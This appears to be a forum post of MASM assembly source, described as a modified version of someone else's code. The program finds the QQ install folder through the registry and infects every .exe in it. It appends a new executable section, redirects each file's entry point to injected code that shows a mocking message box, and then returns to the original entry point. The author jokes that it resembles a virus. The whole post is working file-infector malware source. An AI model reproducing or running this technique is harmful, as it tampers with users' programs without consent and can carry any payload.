修改了一下老罗的代码:
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
include advapi32.inc
includelib advapi32.lib
WndProc proto :DWORD, :DWORD, :DWORD, :DWORD
AddNewSection proto :DWORD
;很有用的宏:
CTEXT MACRO y:VARARG
LOCAL sym
CONST segment
ifidni <y>,<>
sym db 0
else
sym db y,0
endif
CONST ends
exitm <offset sym>
ENDM
.const
MAXSIZE equ 260
Head_Len equ sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER
.data
szRegKey db 'SOFTWARE/TENCENT/QQ',0
szKey db 'Install',0 ;键值名称
szStr1 dd REG_SZ ;数据
FileNamePattern db "*.exe",0
ofn OPENFILENAME <>
FileNameOfQQ db 256 dup(0)
PE_Header IMAGE_NT_HEADERS <0>
My_Section IMAGE_SECTION_HEADER <>
szDllName db "User32", 0
szMessageBoxA db "MessageBoxA", 0
FileName db 256 dup(0)
szFile db 256 dup(0)
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FillFileInfo proc uses edi
LOCAL finddata:WIN32_FIND_DATA
LOCAL hFindFile:DWORD
invoke FindFirstFile,addr szFile,addr finddata
.if eax!=INVALID_HANDLE_VALUE
mov hFindFile,eax
.repeat
invoke RtlZeroMemory,addr FileNameOfQQ,sizeof FileNameOfQQ
invoke lstrcat,addr FileNameOfQQ,addr FileName
lea eax,finddata.cFileName
invoke lstrcat,addr FileNameOfQQ,eax
call _AddNewSection
invoke FindNextFile,hFindFile,addr finddata
.until eax == FALSE
invoke FindClose,hFindFile
.endif
ret
FillFileInfo endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_QueryKey proc _lpKey
LOCAL hKey :DWORD
LOCAL BufSize :DWORD
invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE,addr szRegKey,NULL, KEY_QUERY_VALUE,addr hKey
.if eax == ERROR_SUCCESS
invoke RegQueryValueEx,hKey,addr szKey,NULL,NULL,addr FileName,addr BufSize
.if eax == ERROR_SUCCESS
invoke lstrcat,addr szFile,addr FileName
invoke lstrcat,addr szFile,addr FileNamePattern
invoke RegCloseKey,hKey
.endif
.endif
ret
_QueryKey endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
main:
call _QueryKey
call FillFileInfo
invoke ExitProcess,NULL
_AddNewSection proc
LOCAL hFile: HANDLE
LOCAL dwPE_Header_OffSet: DWORD
LOCAL dwFileReadWritten: DWORD
LOCAL dwMySectionOffSet: DWORD
LOCAL dwLastSection_SizeOfRawData: DWORD
LOCAL dwLastSection_PointerToRawData: DWORD
;打开文件:
invoke CreateFile, addr FileNameOfQQ, GENERIC_READ or GENERIC_WRITE,/
FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
.if eax != INVALID_HANDLE_VALUE
mov hFile, eax
;****************************************
;读取PE文件头:
;****************************************
invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN
invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL
invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL
;****************************************
;判断是否有效的PE文件,是的话才继续:
;****************************************
.if [PE_Header.Signature] != IMAGE_NT_SIGNATURE
;如果不是有效的PE文件,就给出提示:
invoke CloseHandle,hFile
.endif
;****************************************
;判断是否有足够空间存储新节:
;****************************************
movzx eax, [PE_Header.FileHeader.NumberOfSections] ;得到添加新节前有多少个节:
mov ecx, 28h ;28h = sizeof IMAGE_SECTION_HEADER
mul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
add eax, dwPE_Header_OffSet ;eax = eax + PE文件头偏移
add eax, 18h ;18h = sizeof IMAGE_FILE_HEADER
movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]
add eax, ecx ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
add eax, 28h ;添加一个新节的大小
.if eax > [PE_Header.OptionalHeader.SizeOfHeaders]
invoke CloseHandle,hFile
.endif
;****************************************
;保存原入口,后面要用到:
;****************************************
mov eax, [PE_Header.OptionalHeader.AddressOfEntryPoint]
mov Old_AddressOfEntryPoint, eax
mov eax, [PE_Header.OptionalHeader.ImageBase]
mov Old_ImageBase, eax
;**************************************************
;计算新节的偏移地址:
;(其实跟上面的“判断是否有足够空间存储新节”基本上一样)
;**************************************************
movzx eax, [PE_Header.FileHeader.NumberOfSections]
mov ecx, 28h
mul ecx ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
add eax, 4h ;4h = sizeof "PE/0/0"
add eax, dwPE_Header_OffSet
add eax, sizeof IMAGE_FILE_HEADER
add eax, sizeof IMAGE_OPTIONAL_HEADER
mov dwMySectionOffSet, eax ;现在得到了我们的新节的偏移地址
;****************************************
;填充我们自己的节的信息:
;(这部分请查看PE格式,很容易明白,不多说了)
;****************************************
mov dword ptr [My_Section.Name1], "MSA." ;名字就叫做“.ASM”吧,呵呵……
mov [My_Section.Misc.VirtualSize], offset vEnd - offset vStart
push [PE_Header.OptionalHeader.SizeOfImage]
pop [My_Section.VirtualAddress]
mov eax, [My_Section.Misc.VirtualSize]
mov ecx, [PE_Header.OptionalHeader.FileAlignment]
cdq
div ecx
inc eax
mul ecx
mov [My_Section.SizeOfRawData], eax ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值
mov eax, dwMySectionOffSet
sub eax, 18h ;这个偏移是定位到最后一节的“SizeOfRawData”
invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
;每个节的 PointerToRawData 等于它的上一节的 SizeOfRawData + PointerToRawData:
mov eax, dwLastSection_SizeOfRawData
add eax, dwLastSection_PointerToRawData
mov [My_Section.PointerToRawData], eax
mov [My_Section.PointerToRelocations], 0h
mov [My_Section.PointerToLinenumbers], 0h
mov [My_Section.NumberOfRelocations], 0h
mov [My_Section.NumberOfLinenumbers], 0h
mov [My_Section.Characteristics],0E0000020h ;可读可写可执行
;**************************************************
;重新写入IMAGE_SECTION_HEADER:(包含了新节的信息)
;**************************************************
invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN
invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL
;****************************************
;得到 MessageBoxA 的线性地址:
;****************************************
invoke GetModuleHandle, addr szDllName
invoke LoadLibrary, addr szDllName
invoke GetProcAddress, eax, addr szMessageBoxA
mov MessageBoxA_Addr, eax
;****************************************
;在文件的最后写入我们的新节:
;****************************************
invoke SetFilePointer, hFile, 0, 0, FILE_END
push 0
lea eax, dwFileReadWritten
push eax
push [My_Section.SizeOfRawData]
lea eax, vStart
push eax
push hFile
call WriteFile
;**************************************************
;改写IMAGE_NT_HEADERS,使新节可以首先执行:
;(需要改写 SizeOfImage 和 AddressOfEntryPoint)
;**************************************************
inc [PE_Header.FileHeader.NumberOfSections]
mov eax, [My_Section.Misc.VirtualSize]
mov ecx, [PE_Header.OptionalHeader.SectionAlignment]
cdq
div ecx
inc eax
mul ecx
add eax, [PE_Header.OptionalHeader.SizeOfImage]
mov [PE_Header.OptionalHeader.SizeOfImage], eax ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值
mov eax, [My_Section.VirtualAddress]
mov [PE_Header.OptionalHeader.AddressOfEntryPoint], eax ;现在的 AddressOfEntryPoint 是指向新节的第一条指令
invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL
;****************************************
;完成!显示成功信息:
;****************************************
invoke CloseHandle,hFile
.endif
Err_CreateFile_Exit:
ret
_AddNewSection endp
;****************************************
;呵呵,我们自己的东东:(像不像病毒?)
;****************************************
vStart:
call nStart
nStart:
pop ebp
sub ebp, offset nStart ;得到新节在文件中的实际偏移地址
;显示对话框:
push MB_OK or MB_ICONINFORMATION
lea eax, szMyCaption[ebp]
push eax
lea eax, szMyMsg[ebp]
push eax
push 0
call MessageBoxA_Addr[ebp]
;恢复原入口地址。当这个节执行完毕后,就回到了原来的文件入口处继续执行:
mov eax, Old_ImageBase[ebp]
add eax, Old_AddressOfEntryPoint[ebp]
push eax
ret
;变量定义:
MessageBoxA_Addr dd 0
szMyMsg db "看贴不回帖的人木JJ ^_^", 13, 10, 13, 10,/
"by asm",13, 10, "http://www.wolfexp.net",0
szMyCaption db "谁木JJ", 0
Old_ImageBase dd 0
Old_AddressOfEntryPoint dd 0
vEnd:
end main